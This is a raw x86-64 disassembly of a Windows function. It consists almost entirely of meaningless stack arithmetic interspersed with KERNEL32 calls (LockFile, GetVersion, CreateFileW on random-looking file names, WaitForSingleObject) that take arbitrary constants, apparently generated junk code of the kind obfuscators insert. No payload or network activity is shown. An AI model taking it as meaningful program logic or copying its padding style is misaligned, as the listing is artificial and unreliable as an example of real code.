mov rcx, qword [rsp + 0x13db8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa400], eax
mov rax, qword [rsp + 0x145b8]
mov eax, dword [rax]
mov dword [0x14036a390], eax
lea rcx, [rsp + 0x4d0b0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9e24], eax
mov eax, dword [rsp + 0x752c]
mov dword [rsp + 0xa41c], eax
mov eax, dword [rsp + 0xa1b0]
mov ecx, dword [rsp + 0x9ab0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ff8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9f28]
mov ecx, dword [rsp + 0x9fdc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69c4], eax
movzx eax, byte [rsp + 0x3d2]
mov rcx, qword [rsp + 0x13278]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xec], al
movzx eax, word [rsp + 0x2090]
movzx ecx, word [rsp + 0x17fc]
imul eax, ecx
mov rcx, qword [rsp + 0x13138]
mov word [rcx], ax
mov eax, dword [rsp + 0x6524]
mov dword [rsp + 0xa420], eax
mov rax, qword [rsp + 0x15540]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x137e8]
mov qword [rsp + 0x160c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x160c0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14330]
mov dword [rcx], eax
lea rax, [rsp + 0xa270]
mov qword [rsp + 0x160c8], rax
mov rax, qword [rsp + 0x14fe0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7c10]
sar eax, cl
mov dword [0x140369be8], eax
mov rax, qword [0x140369fb0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7c2]
cdq
idiv ecx
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0x13cd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18f4]
xor eax, ecx
mov rcx, qword [rsp + 0x13478]
mov word [rcx], ax
lea rax, [rsp + 0x754]
mov qword [rsp + 0x160d0], rax
movsx eax, word [0x1403624b8]
mov rcx, qword [rsp + 0x14358]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15520]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.3CZ3oPpWD1QwiS2bU5Vl_rIF_vd
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x160d8], rax
mov edx, 0x5af
mov rcx, qword [rsp + 0x14640]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9ff4], eax
mov rax, qword [rsp + 0x130a8]
mov eax, dword [rax]
mov dword [rsp + 0xa424], eax
mov rax, qword [rsp + 0x155d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2a8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e50]
mov dword [rcx], eax
lea rax, [rsp + 0x37b]
mov qword [rsp + 0x160e0], rax
movzx eax, word [rsp + 0x2ba4]
movzx ecx, word [rsp + 0x25a0]
add eax, ecx
mov rcx, qword [rsp + 0x15cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x14648]
mov eax, dword [rax]
mov dword [0x14036a394], eax
mov rax, qword [rsp + 0x14a48]
mov ecx, dword [rsp + 0x527c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x133d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15770]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa1a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9070], eax
mov rax, qword [rsp + 0x15968]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3ac]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14600]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15f80]
movzx eax, word [rax]
mov word [rsp + 0x2e14], ax
mov rax, qword [rsp + 0x14d30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14f18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x77c], al
mov rax, qword [rsp + 0x141e8]
mov rcx, qword [rsp + 0x156c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15620]
mov dword [rcx], eax
lea rax, [rsp + 0x9a5c]
mov qword [rsp + 0x160e8], rax
mov rax, qword [rsp + 0x15a70]
mov rcx, qword [rsp + 0x137d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15d18]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [0x14036a298]
mov rcx, qword [rsp + 0x14a48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140369f70]
mov dword [rcx], eax
lea rax, [rsp + 0x8114]
mov qword [rsp + 0x160f0], rax
mov rax, qword [rsp + 0x13a80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2cf8]
sub eax, ecx
mov word [rsp + 0x2db0], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x160f8], rax
movsx eax, byte [0x140363fee]
mov rcx, qword [rsp + 0x13550]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14ea0]
mov byte [rcx], al
mov rax, qword [rsp + 0x15630]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3f0]
cdq
idiv ecx
mov byte [rsp + 0x151], al
mov rax, qword [rsp + 0x151b0]
movzx eax, word [rax]
movzx ecx, word [0x14036a2b0]
sar eax, cl
mov word [rsp + 0x197c], ax
lea rax, [rsp + 0x75c4]
mov qword [rsp + 0x16100], rax
mov rax, qword [rsp + 0x15ea8]
mov rcx, qword [rsp + 0x14f80]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x15de8]
mov dword [rcx], eax
lea rax, [rsp + 0x376]
mov qword [rsp + 0x16108], rax
mov dword [rsp + 0x20], 0x28a9
mov r9d, 0x33bd
mov r8d, 0x2454
mov edx, 0x656
mov rcx, qword [rsp + 0x154d0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa00c], eax
movzx eax, word [rsp + 0x25a0]
movzx ecx, word [rsp + 0x2d44]
shl eax, cl
mov word [0x140362554], ax
mov eax, dword [rsp + 0x9f58]
mov ecx, dword [rsp + 0xa300]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x62d8], eax
mov eax, dword [rsp + 0x9fdc]
mov ecx, dword [rsp + 0x9f3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7cdc], eax
lea rax, [rsp + 0x9618]
mov qword [rsp + 0x16110], rax
mov rax, qword [rsp + 0x13ff8]
mov ecx, dword [rsp + 0x9a74]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15960]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13410]
movzx eax, word [rax]
mov word [rsp + 0x2e18], ax
movzx eax, byte [rsp + 0x716]
mov rcx, qword [rsp + 0x134d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15508]
mov byte [rcx], al
mov rax, qword [rsp + 0x13190]
mov rcx, qword [rsp + 0x15328]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15c68]
mov dword [rcx], eax
lea rax, [rsp + 0xa27c]
mov qword [rsp + 0x16118], rax
mov rax, qword [rsp + 0x136a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27a4]
sub eax, ecx
mov word [0x1403624e0], ax
movsx eax, byte [rsp + 0x260]
mov rcx, qword [rsp + 0x13390]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x611], al
movzx eax, word [0x140362500]
mov word [rsp + 0x2e1c], ax
mov rax, qword [rsp + 0x13710]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13650]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15ab8]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9e64], eax
mov rax, qword [rsp + 0x152a8]
mov ecx, dword [rsp + 0x62d8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x135b0]
mov dword [rcx], eax
mov rax, qword [0x140369f78]
mov ecx, dword [rsp + 0xa148]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x640c], eax
mov rax, qword [rsp + 0x13e68]
mov rcx, qword [rsp + 0x15858]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8924], eax
lea rax, [rsp + 0x6b08]
mov qword [rsp + 0x16120], rax
mov rax, qword [rsp + 0x13d18]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x149a8]
mov qword [rsp + 0x16128], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16128]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa29c], eax
mov rax, qword [rsp + 0x133d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14e18]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13370]
mov word [rcx], ax
lea rax, [rsp + 0x376]
mov qword [0x14036a398], rax
mov rax, qword [rsp + 0x15b90]
mov eax, dword [rax]
mov dword [rsp + 0xa428], eax
mov rax, qword [rsp + 0x131f0]
mov rcx, qword [rsp + 0x15a18]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x63d4], eax
lea rax, [rsp + 0xa0c8]
mov qword [rsp + 0x16130], rax
mov eax, dword [rsp + 0xa424]
mov ecx, dword [0x140369ce0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14428]
mov dword [rcx], eax
lea rax, [rsp + 0x2d7c]
mov qword [rsp + 0x16138], rax
movzx eax, byte [rsp + 0x784]
mov rcx, qword [rsp + 0x155b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x73d], al
mov rax, qword [rsp + 0x13468]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x15b08]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14920]
mov word [rcx], ax
lea rax, [rsp + 0x76f]
mov qword [rsp + 0x16140], rax
lea rax, [rsp + 0xa2dc]
mov qword [0x14036a3a0], rax
mov rax, qword [rsp + 0x13890]
mov eax, dword [rax]
mov ecx, dword [0x1403624ec]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x146e8]
mov dword [rcx], eax
lea rax, [rsp + 0x75f]
mov qword [rsp + 0x16148], rax
movzx eax, word [rsp + 0x2c4c]
mov rcx, qword [rsp + 0x143a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2da8], ax
mov eax, dword [rsp + 0x8dd4]
mov ecx, dword [0x1403624c0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c50], eax
mov rax, qword [rsp + 0x13080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7430]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x93f4], eax
mov eax, dword [0x14036244c]
mov ecx, dword [rsp + 0x9acc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13eb0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9888]
mov dword [rsp + 0xa42c], eax
lea rdx, [rsp + 0x430c8]
mov rcx, qword [rsp + 0x14398]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa430], eax
mov rax, qword [rsp + 0x14090]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b9]
and eax, ecx
mov rcx, qword [rsp + 0x13c40]
mov byte [rcx], al
mov rax, qword [rsp + 0x137b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14bb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140369fdc], ax
mov rax, qword [rsp + 0x13b48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x151d8]
mov qword [rsp + 0x16150], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16150]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x13dc0]
mov dword [rcx], eax
lea rax, [rsp + 0x9b30]
mov qword [rsp + 0x16158], rax
mov eax, dword [rsp + 0x6a40]
mov ecx, dword [0x140369be8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7a5c], eax
mov rax, qword [rsp + 0x13908]
mov eax, dword [rax]
mov dword [rsp + 0xa434], eax
mov eax, dword [rsp + 0x7dcc]
mov rcx, qword [rsp + 0x14e88]
mov qword [rsp + 0x16160], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16160]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9e00], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9ab8], eax
mov rax, qword [0x140369ca8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x142a8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x553], al
movsx eax, word [rsp + 0x29ec]
mov rcx, qword [rsp + 0x15d48]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2d1c], ax
movzx eax, word [rsp + 0x2c24]
movzx ecx, word [0x14036a1e0]
add eax, ecx
mov rcx, qword [rsp + 0x15d10]
mov word [rcx], ax
mov rax, qword [rsp + 0x15f48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x394]
add eax, ecx
mov byte [0x140363f5c], al
lea rax, [rsp + 0x9ab0]
mov qword [rsp + 0x16168], rax
mov eax, dword [rsp + 0xa12c]
mov ecx, dword [rsp + 0x9748]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5bdc], eax
mov rax, qword [rsp + 0x13448]
movzx eax, word [rax]
mov word [rsp + 0x2e20], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2da8
mov r9d, 0x1be9
mov r8d, 0x8ce0ae8
mov edx, 2
mov rcx, qword [rsp + 0x14550]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9af4], eax
mov rax, qword [rsp + 0x15020]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x78b]
and eax, ecx
mov byte [rsp + 0x702], al
mov eax, dword [rsp + 0xa0b8]
mov ecx, dword [rsp + 0x9ea8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15868]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13670]
mov rcx, qword [rsp + 0x138d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5a40], eax
mov eax, dword [0x140362480]
mov ecx, dword [rsp + 0x9e80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a40], eax
mov eax, dword [rsp + 0x9198]
mov dword [rsp + 0xa438], eax
lea rax, [rsp + 0x7b8]
mov qword [0x14036a3a8], rax
movzx eax, word [rsp + 0x2d4c]
mov rcx, qword [rsp + 0x145a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bf0], ax
mov eax, dword [rsp + 0x645c]
mov ecx, dword [0x140369eec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9acc]
mov dword [rsp + 0xa43c], eax
mov rax, qword [rsp + 0x13bf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x518]
shl eax, cl
mov byte [rsp + 0x748], al
lea rax, [0x14036248c]
mov qword [rsp + 0x16170], rax
movzx eax, byte [rsp + 0x728]
mov rcx, qword [rsp + 0x12e08]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x157d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x15600]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d70]
sar eax, cl
mov word [rsp + 0x2cdc], ax
lea rax, [rsp + 0x9bdc]
mov qword [rsp + 0x16178], rax
mov rax, qword [rsp + 0x134c0]
mov ecx, dword [rsp + 0x9e34]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x140369f80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15170]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7ca4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa240], eax
mov rax, qword [rsp + 0x14368]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9708]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x626c], eax
mov rax, qword [rsp + 0x13548]
mov rcx, qword [rsp + 0x12e88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5c14], eax
mov rax, qword [0x14036a078]
movzx eax, word [rax]
mov word [rsp + 0x2e24], ax
movzx eax, byte [rsp + 0xeb]
mov rcx, qword [rsp + 0x13878]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x742], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x16180], rax
mov rax, qword [rsp + 0x15170]
mov ecx, dword [rsp + 0x9bac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9aa4], eax
mov rax, qword [rsp + 0x16018]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9074]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e9c], eax
mov edx, 0x11c9
mov rcx, qword [rsp + 0x136b0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa06c], eax
mov eax, dword [rsp + 0xa1fc]
mov ecx, dword [rsp + 0x7a24]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b00]
mov dword [rcx], eax
lea rax, [rsp + 0x66ac]
mov qword [0x14036a3b0], rax
mov rax, qword [0x14036a0c0]
movzx eax, word [rax]
mov word [rsp + 0x2e28], ax
mov rax, qword [rsp + 0x15c88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14f18]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x13120]
mov byte [rcx], al
mov rax, qword [rsp + 0x15d70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d8c]
or eax, ecx
mov word [rsp + 0x2c78], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9ab8], eax
lea rax, [rsp + 0x7bd]
mov qword [rsp + 0x16188], rax
mov rax, qword [rsp + 0x13f30]
mov ecx, dword [rsp + 0x8dcc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x98f0], eax
mov eax, dword [0x140369b9c]
mov rcx, qword [rsp + 0x14c70]
mov qword [rsp + 0x16190], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16190]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x595c], eax
movzx eax, word [rsp + 0x2c50]
movzx ecx, word [rsp + 0x169c]
xor eax, ecx
mov rcx, qword [rsp + 0x12f18]
mov word [rcx], ax
mov rax, qword [rsp + 0x145e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x792]
sar eax, cl
mov byte [rsp + 0x37f], al
mov eax, dword [rsp + 0xa1d8]
mov ecx, dword [rsp + 0x9a28]
and ecx, eax
mov eax, ecx
mov dword [0x140369d54], eax
lea rax, [rsp + 0x5bec]
mov qword [rsp + 0x16198], rax
mov rax, qword [rsp + 0x143b8]
mov ecx, dword [rsp + 0x9cb8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9d50], eax
lea rax, [0x14036253c]
mov qword [rsp + 0x161a0], rax
movzx eax, word [rsp + 0x2c4c]
mov rcx, qword [rsp + 0x15cf8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2af0], ax
lea rdx, [rsp + 0x42a70]
mov rcx, qword [rsp + 0x13558]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa440], eax
mov rax, qword [rsp + 0x14f38]
movzx eax, byte [rax]
imul eax, eax, 0xe8
mov rcx, qword [rsp + 0x15040]
mov byte [rcx], al
mov eax, dword [rsp + 0x7a5c]
mov dword [rsp + 0xa444], eax
mov rax, qword [rsp + 0x15150]
mov rcx, qword [rsp + 0x14ef0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14718]
mov dword [rcx], eax
lea rax, [rsp + 0x9f5c]
mov qword [rsp + 0x161a8], rax
mov eax, dword [0x140362518]
mov dword [0x14036a3b8], eax
mov rax, qword [rsp + 0x13aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9fc0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x145f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13c38]
movzx eax, word [rax]
mov word [rsp + 0x2e2c], ax
movsx eax, byte [rsp + 0x407]
mov rcx, qword [0x14036a0a0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x754], al
movzx eax, byte [rsp + 0x3f0]
mov rcx, qword [rsp + 0x157c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x146f0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2cfc]
movzx ecx, word [rsp + 0x2dd8]
sub eax, ecx
mov word [rsp + 0x15ec], ax
mov rax, qword [rsp + 0x13238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6234], eax
mov eax, dword [rsp + 0x9a6c]
mov dword [rsp + 0xa448], eax
movzx eax, word [rsp + 0x1764]
mov rcx, qword [rsp + 0x14dd8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c38], ax
mov rax, qword [rsp + 0x15f48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x361]
or eax, ecx
mov byte [0x140363fec], al
mov rax, qword [rsp + 0x15760]
mov ecx, dword [rsp + 0x5dd8]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14538]
mov dword [rcx], eax
lea rax, [rsp + 0x73c0]
mov qword [rsp + 0x161b0], rax
mov rax, qword [rsp + 0x132a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x73c0]
shl eax, cl
mov dword [rsp + 0x9950], eax
mov eax, dword [rsp + 0xa098]
movzx ecx, al
mov eax, dword [rsp + 0xa1b0]
shr eax, cl
mov dword [rsp + 0x6080], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9f40], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2c56
mov r9d, 0xd8e
mov r8d, 0x89ca71f1
mov edx, 2
mov rcx, qword [rsp + 0x13aa0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa44c], eax
mov rax, qword [0x140369d48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15c90]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x155b0]
mov byte [rcx], al
mov edx, 0xe68
mov rcx, qword [rsp + 0x15110]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9e90], eax
mov rax, qword [rsp + 0x13b20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2de0]
and eax, ecx
mov word [rsp + 0x2a10], ax
mov eax, dword [rsp + 0x9b2c]
mov dword [rsp + 0xa450], eax
mov rax, qword [0x140369e78]
mov rcx, qword [rsp + 0x16008]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12e88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13bd8]
movsx eax, byte [rax]
imul eax, eax, 0x5b
mov byte [0x1403525fb], al
lea rax, [0x140369f2c]
mov qword [rsp + 0x161b8], rax
movzx eax, word [rsp + 0x2198]
movzx ecx, word [rsp + 0x2e14]
or eax, ecx
mov rcx, qword [rsp + 0x14f50]
mov word [rcx], ax
lea rax, [rsp + 0x630]
mov qword [rsp + 0x161c0], rax
mov eax, dword [rsp + 0x7dd0]
mov ecx, dword [rsp + 0x940c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15338]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b78]
mov ecx, dword [rsp + 0x7770]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x142f8]
mov dword [rcx], eax
lea rax, [rsp + 0xa390]
mov qword [rsp + 0x161c8], rax
mov rax, qword [rsp + 0x13cb8]
mov rcx, qword [0x140369e50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9d74], eax
lea rdx, [rsp + 0x434f0]
mov rcx, qword [rsp + 0x15b38]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9cd4], eax
lea rcx, [rsp + 0x4c570]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa1e0], eax
mov eax, dword [rsp + 0x9dac]
mov dword [rsp + 0xa454], eax
mov rax, qword [rsp + 0x12e08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15000]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7a2], al
mov dword [rsp + 0x20], 0x3554
mov r9d, 0x3a46
mov r8d, 0xf23
mov edx, 0x2f7d
mov rcx, qword [rsp + 0x160d8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9d20], eax
lea rax, [rsp + 0x2bf4]
mov qword [0x14036a3c0], rax
mov rax, qword [0x14036a100]
mov rcx, qword [rsp + 0x14a58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15a00]
mov dword [rcx], eax
lea rax, [rsp + 0x62ac]
mov qword [rsp + 0x161d0], rax
mov rax, qword [rsp + 0x141d0]
mov rcx, qword [rsp + 0x13938]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9fc0], eax
lea rax, [rsp + 0x9f8c]
mov qword [rsp + 0x161d8], rax
mov rax, qword [rsp + 0x15318]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x732]
add eax, ecx
mov byte [rsp + 0x2f8], al
mov rax, qword [rsp + 0x14fe8]
movzx eax, word [rax]
movzx ecx, word [0x140369c88]
add eax, ecx
mov rcx, qword [rsp + 0x15468]
mov word [rcx], ax
mov rax, qword [rsp + 0x160d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x491]
sar eax, cl
mov byte [rsp + 0x4b2], al
mov rax, qword [rsp + 0x15b08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x15330]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1a88], ax
mov rax, qword [rsp + 0x15a70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x152a8]
mov qword [rsp + 0x161e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x161e0]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14036a148], eax
lea rax, [rsp + 0x9d84]
mov qword [rsp + 0x161e8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.IXoJhY29YH2P9eNEMRzAMHrhfR0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x161f0], rax
movzx eax, word [rsp + 0x2dc8]
movzx ecx, word [rsp + 0x19dc]
or eax, ecx
mov rcx, qword [rsp + 0x14f50]
mov word [rcx], ax
movzx eax, byte [0x1403525ca]
movzx ecx, byte [rsp + 0x151]
and eax, ecx
mov byte [rsp + 0x2f8], al
lea rax, [rsp + 0x52dc]
mov qword [rsp + 0x161f8], rax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x4cb10]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa1c0], eax
mov eax, dword [rsp + 0x9b48]
mov ecx, dword [rsp + 0xa2c8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9fa4], eax
lea rax, [0x140369d50]
mov qword [rsp + 0x16200], rax
mov eax, dword [rsp + 0x77cc]
mov ecx, dword [rsp + 0x9c6c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16120]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x7c4]
mov byte [rsp + 0x7c7], al
lea rax, [rsp + 0x2d90]
mov qword [0x14036a3c8], rax
mov rax, qword [rsp + 0x13ef0]
mov rcx, qword [rsp + 0x14800]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13298]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d74]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15c28]
mov dword [rcx], eax
lea rdx, [rsp + 0x43528]
mov rcx, qword [rsp + 0x14848]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa264], eax
lea rax, [rsp + 0xa3e0]
mov qword [rsp + 0x16208], rax
mov eax, dword [rsp + 0x9aa4]
